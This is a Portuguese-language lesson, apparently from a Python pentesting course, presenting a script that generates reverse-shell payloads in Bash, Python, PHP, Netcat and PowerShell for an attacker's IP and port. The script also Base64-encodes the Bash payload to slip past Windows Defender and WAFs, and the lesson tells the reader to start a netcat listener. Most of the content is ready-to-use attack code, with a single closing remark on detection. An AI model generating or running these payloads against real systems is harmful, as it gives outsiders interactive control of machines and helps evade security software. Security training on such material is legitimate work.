Gera payloads em várias linguagens para obter acesso reverso.
Contexto
Um Reverse Shell ocorre quando a máquina alvo (vulnerável) inicia uma conexão de rede de volta para a máquina do atacante. Isso é extremamente útil em Penteasts porque:
- Evasão de Firewall: Firewalls geralmente bloqueiam conexões que entram, mas permitem conexões que saem (tráfego de saída).
- Controle Interativo: Permite uma interação muito mais próxima de um terminal nativo (Bash, PowerShell) do que um Web Shell.
- Payload Multilíngue: Dependendo do ambiente (servidor Linux com Python, Windows com PowerShell, ou servidor web com PHP), o atacante precisa de um código específico.
Possibilidades de Implementação
- Templates por Linguagem: O script armazena "esqueletos" de código para Bash, Python, PHP, Perl, Netcat e PowerShell.
- Injeção de Variáveis: O gerador substitui automaticamente os campos
LHOST(IP do atacante) eLPORT(Porta do atacante) no template. - Ofuscação: Opcionalmente, o script pode converter o payload para Base64 para evitar detecção por sistemas de segurança (como o Windows Defender ou WAFs).
Código
Este módulo atua como uma "fábrica" de payloads, facilitando a vida do Pentester que não quer decorar todos os comandos de uma linha (one-liners).
import base64
def generate_payloads(lhost, lport):
"""
Gera uma coleção de reverse shells prontos para uso.
"""
payloads = {
"Bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
"Python": f"python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
f"s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);"
f"os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'",
"PHP": f"php -r '$sock=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
"Netcat": f"nc -e /bin/sh {lhost} {lport}",
"PowerShell": f"powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object "
f"System.Net.Sockets.TCPClient(\"{lhost}\",{lport});"
}
return payloads
def main():
print("=" * 60)
print("Módulo: Reverse Shell Generator | Projeto: 30 Lessons in Python")
print("=" * 60)
# Dados do atacante (você)
lhost = input("[?] Digite seu IP (LHOST): ")
lport = input("[?] Digite sua Porta (LPORT): ")
print(f"\n[*] Gerando payloads para {lhost}:{lport}...\n")
all_payloads = generate_payloads(lhost, lport)
for lang, code in all_payloads.items():
print(f"--- {lang} ---")
print(code)
# Exemplo de Ofuscação em Base64 para Bash/Linux
if lang == "Bash":
b64_code = base64.b64encode(code.encode()).decode()
print(f"\n[Ofuscado B64]: echo {b64_code} | base64 -d | bash")
print("-" * 30)
print("\n[!] Dica: Antes de executar, inicie um listener: nc -lvnp " + lport)
if __name__ == "__main__":
main()
Observações
- O Listener: Um Reverse Shell não funciona sozinho. O atacante deve estar "ouvindo" na porta especificada usando ferramentas como
nc -lvnp <porta>(Netcat) ou omulti/handlerdo Metasploit. - Estabilidade: Shells reversos básicos (como o de Bash) costumam "morrer" se você apertar
Ctrl+C. Em seu projeto, você pode mencionar a técnica de upgrade para um TTY completo usandopython -c 'import pty; pty.spawn("/bin/bash")'. - Segurança e Defesa: Explique que monitorar conexões de rede de saída incomuns para portas conhecidas de ataque (4444, 5555, 8888) é uma forma comum de detectar essa atividade.